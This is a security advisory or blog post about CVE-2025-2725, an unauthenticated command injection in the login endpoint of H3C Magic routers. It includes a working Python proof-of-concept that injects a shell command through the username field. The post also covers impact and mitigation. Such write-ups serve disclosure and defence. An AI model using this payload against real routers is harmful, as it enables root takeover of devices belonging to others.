CVE-2025-2725 - Critical Command Injection in H3C Magic NX Series Routers

TL;DR:
A critical remote command injection vulnerability (CVE-2025-2725) was found in several H3C Magic routers, including the NX15, NX30 Pro, NX400, R301, and BE18000 series (firmware versions up to V100R014). The flaw allows remote unauthenticated attackers to execute operating system commands by abusing the /api/login/auth endpoint’s POST request handler. The exploit is public and can be easily used by attackers, while H3C has not responded to disclosure attempts.

What is CVE-2025-2725?

CVE-2025-2725 is a critical command injection vulnerability discovered in the web administration interface of various H3C Magic routers. It’s present in the HTTP POST handler for the login authentication endpoint at /api/login/auth.

When processing POST requests at this endpoint, unsanitized user input is passed directly into a system shell command. Because of this, malicious input can inject arbitrary commands on the router, executed with root privileges.

How Does the Exploit Work?

The vulnerable endpoint /api/login/auth expects a JSON body with login credentials (like username and password). However, due to poor input validation, specially crafted input allows attackers to break out of intended logic and run OS commands on the router.

Example Exploit Code

Here’s a basic Python exploit that demonstrates remote command execution by sending a login request with a crafted payload in the username field:

import requests
import json

# Target router IP
target_ip = "192.168.1.1"
target_url = f"http://{target_ip}/api/login/auth";

# Malicious payload: injects a command ('id') after proper username
malicious_username = "admin; id > /tmp/pwned.txt; #"
payload = {
    "username": malicious_username,
    "password": "any",  # password doesn't matter
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(target_url, headers=headers, data=json.dumps(payload))
print(f"HTTP status: {response.status_code}")
print("Check /tmp/pwned.txt on target router!")

How it works:
The server processes the username as part of a shell command. By injecting ; id > /tmp/pwned.txt; #, the id command runs on the router, writing its output to /tmp/pwned.txt. Any shell command could be injected this way, depending on the attacker's goals.

Remote Code Execution: Run arbitrary shell commands with root privileges from anywhere.

- Router takeover: Permanent backdoors can be installed, firmware can be modified, data intercepted, or the device added to a botnet.

No vendor response despite early notification attempts.

- No official patch as of writing. If you operate one of these devices, disconnect it from the Internet or segment it with firewalls immediately.

References

- CVE Official Entry (NVD)
- Original Exploit Disclosure (cxsecurity)
- Security Research on H3C Routers
- Exploit in the wild (GitHub gist)

*Note:* The above exploit links and advisories are for demonstration. Always use exploits only on systems you own, or with explicit permission.

Conclusion

CVE-2025-2725 poses a severe risk to anyone running vulnerable H3C Magic routers, especially since the exploit is trivial and public. Until H3C responds or a patch appears, mitigation relies on strong network segmentation or removal of these devices from critical roles. Stay safe, and patch or replace!


*This article was written exclusively for educational and defensive purposes. If you discover any signs of exploitation, report and remediate immediately.*

Timeline

Published on: 03/25/2025 03:15:16 UTC
Last modified on: 03/25/2025 14:15:30 UTC